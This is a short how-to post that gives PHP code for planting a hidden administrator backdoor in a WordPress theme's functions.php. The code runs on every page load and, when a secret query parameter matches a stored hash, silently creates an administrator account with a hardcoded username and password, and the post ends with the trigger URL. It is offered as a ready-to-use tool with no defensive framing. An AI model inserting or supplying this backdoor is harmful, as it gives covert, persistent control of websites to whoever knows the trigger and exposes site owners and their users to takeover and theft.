How To Create Backdoor Admin Access To WordPress without plugin

How To Create  Backdoor Admin Access To WordPress without plugin 

backdoor login in wordpress

Put These Codes To function.php of a wordpress theme (under add_function)

add_action( 'wp_head', 'my_backdoor' );

function my_backdoor() {

    if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {

        require( 'wp-includes/registration.php' );

        if ( !username_exists( 'mr_admin' ) ) {

            $user_id = wp_create_user( 'mr_admin', 'pa55w0rd!' );

            $user = new WP_User( $user_id );

            $user->set_role( 'administrator' ); 

        }

    }

}

*** To Create your Backdoor link, visit this link:

https://yourdomenname.com?backdoor=go